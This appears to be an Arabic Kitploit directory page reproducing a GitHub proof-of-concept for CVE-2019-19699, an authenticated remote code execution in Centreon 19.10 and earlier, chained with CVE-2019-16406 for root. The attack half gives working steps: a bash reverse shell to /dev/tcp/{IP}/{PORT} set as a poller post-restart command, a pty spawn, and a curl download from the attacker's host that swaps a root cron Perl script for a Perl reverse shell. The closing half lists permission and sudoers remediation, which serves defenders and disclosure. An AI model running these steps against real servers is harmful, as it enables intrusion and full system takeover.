Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-19699 — Centreon =<19.10 تنفيذ تعليمات برمجية عن بُعد بعد المصادقة | Kitploit
أدوات/GitHubGitHub/spengesec/cve-2019-19699
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubspengesec/cve-2019-19699

CVE-2019-19699

Centreon =<19.10 تنفيذ تعليمات برمجية عن بُعد بعد المصادقة

عرض المستودع
31منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-19699

Centreon =< 19.10

إثبات المفهوم

  1. تنفيذ الأوامر عن بعد مع المصادقة (CVE-2019-19699)
  2. رفع الصلاحيات (دليل والعلاج)

اكتشف بواسطة:

SpengeSec (Guylian Dw)

TheCyberGeek (Matthew B)

تنفيذ الأوامر عن بعد مع المصادقة:

لنبدأ بتسجيل الدخول كمستخدم Admin إلى لوحة تحكم Centreon الويب.

بعد تسجيل الدخول، ننتقل إلى Configuration > Commands > Miscellaneous

تقدم بالنقر على Add كما هو موضح في الصورة أدناه.

نقوم الآن بإنشاء reverse shell bash كأمر Miscellaneous خاص بنا

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

ونضغط Save

الآن ننتقل إلى Configuration > Pollers ونضغط على المجمع Central الحالي

هذا يعطينا الوصول إلى قائمة تعديل تكوين المجمع (Modify a poller Configuration)

هنا يمكننا التمرير لأسفل، وتعيين أمر بعد إعادة التشغيل (Post-restart command)

تقدم باختيار reverse shell الذي أنشأناه سابقًا، وانقر على زر Save

يمكننا الآن المتابعة عن طريق تشغيل مستمع Netcat على جهازنا المحلي

أخيرًا، نضغط على زر Export configuration في قائمة Configuration > Pollers

  1. اختر المجمع Central الخاص بنا من مربع القائمة المنسدلة Pollers

  2. قم بإلغاء تحديد خانات الاختيار Generate Configuration Files و Run monitoring engine debug (-v)

  3. حدد خانات الاختيار Restart Monitoring Engine و Post generation command

  4. اختر Restart في مربع القائمة المنسدلة Method

عند النقر على Export، سيتم إعادة تشغيل المجمع، وبالتالي تنفيذ أمر ما بعد إعادة التشغيل الذي قمنا بتكوينه سابقًا هذه هي اللحظة التي سيحصل فيها مستمع reverse shell الخاص بنا على اتصال

تم بنجاح تنفيذ الأوامر عن بعد مع المصادقة!

(كان هذا الشرح لـ CVE-2019-19699)_

من هنا ننتقل إلى الحصول على صلاحيات Root

سنستخدم CVE-2019-16406 التي اكتشفها TheCyberGeek لاختراق خادم Centreon =< 19.10 بالكامل

لنبدأ بإنشاء قشرة TTY في محطة reverse shell الحالية

python -c 'import pty; pty.spawn("/bin/sh")'

الآن نلقي نظرة على المهام المجدولة (cron) الموجودة من خلال cat /etc/cron.d/

نرى الآن أن centreon_autodisc.pl هي مهمة Cron

(تم تعيينها من 30 22 * * * root إلى * * * * * root لأغراض توضيحية)

يتم تنفيذ هذا الأمر كـ Root، دعنا نستبدل ملف centreon_autodisco.pl بـ reverse shell بلغة Perl

يمكن تنزيل قشرة Perl التي سأستخدمها من هنا

قم بتنزيل الـ reverse shell، وقم بتعديل عنوان IP و المنفذ إلى عنوانك كما هو موضح في صفحة الويب

قم بتنفيذ أمر mv لإعادة تسمية ملف perl-reverse-shell.pl إلى centreon_autodisco.pl محليًا

لنبدأ الآن بتشغيل خادم SimpleHTTPServer محلي على منفذ من اختيارك

بهذه الطريقة، يمكننا استخدام curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl لاستبدال ملف centreon_autodisco.pl الحالي بقشرة Perl الخادعة الخاصة بنا

الآن تم استبدال الملف، كل ما تبقى هو تشغيل مستمع Netcat على المنفذ الذي قمنا بتكوينه مسبقًا، وسنحصل على اتصال عائد من الخادم كمستخدم Root!

تم بنجاح الوصول إلى النظام بصلاحيات Root!

الآن إلى الملاحظات حول كيفية اعتقادنا أنه يجب علاج رفع الصلاحيات!

الإعدادات الحالية في الإصدار 19.10:

root@kitploit:~
#####################################
# Centreon Auto Discovery
#

30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1

صلاحيات الملفات:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11  2017 /usr/lib/centreon/plugins/cwrapper_perl

العلاج لـ /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

ls -la who

-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

كما ترى، أصبح الملف مملوكًا لـ Root، مجموعة apache يمكنها القراءة والتنفيذ فقط، وcentreon يمكنها التنفيذ فقط، وبالتالي لا يؤثر على الوظائف.

مثال:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied ولكن apache لا يزال بإمكانه تنفيذه.

العلاج لـ /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

كما ترى، أصبح الملف مملوكًا لـ Root، مجموعة apache يمكنها القراءة والتنفيذ فقط، وcentreon يمكنها التنفيذ فقط، وبالتالي لا يؤثر على الوظائف.

مثال:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied ولكن apache لا يزال بإمكانه تنفيذه.

العلاج لـ /usr/lib/centreon/plugins/cwrapper_perl

استخدم أوامر sudo لتحديد نصوص معينة تحتاج إلى تنفيذها من قبل كل مستخدم.

جعل root يملك كل نص Perl بحيث لا يمكن للمستخدمين تغيير أو استبدال النص لرفع الصلاحيات.

chmod 755 /usr/lib/centreon/plugins/cwrapper_perl

ls -la /usr/lib/centreon/plugins/cwrapper_perl

-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl

الآن لم يعد بإمكان المستخدمين تغيير أو استبدال النص!

مثال:

cat /etc/sudoers

...

## السماح لـ root بتشغيل أي أوامر في أي مكان

root ALL=(ALL) ALL

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl

...

---نهاية ملف sudoers---

ls -la example_script1.pl

-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl

ls -la examle_scripts1.pl

-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl

لا يزال بإمكان المستخدمين تنفيذ النصوص اللازمة ولا يمكن تغيير النصوص بواسطة apache أو centreon وبالتالي القضاء على التهديد الأمني تمامًا فيما يتعلق برفع الصلاحيات.

إذا تمكن المهاجم من الدخول إلى الجهاز الآن، فإن السيطرة الكاملة على الجهاز ستكون صعبة للغاية أو مستحيلة ما لم يتم اكتشاف المزيد من التهديدات.

بالنسبة لمستخدم Centreon، كان رفع الصلاحيات الوحيد الذي وجدناه هو cwrapper للـ perl، لذلك إذا تم تنفيذ أمر ما بعد إعادة التشغيل بواسطة مستخدم centreon وحصل المهاجم على قشرة كمستخدم centreon، فلن يتبقى أي سطح هجوم تقريبًا.

شكرًا للقراءة

تنزيل الأداة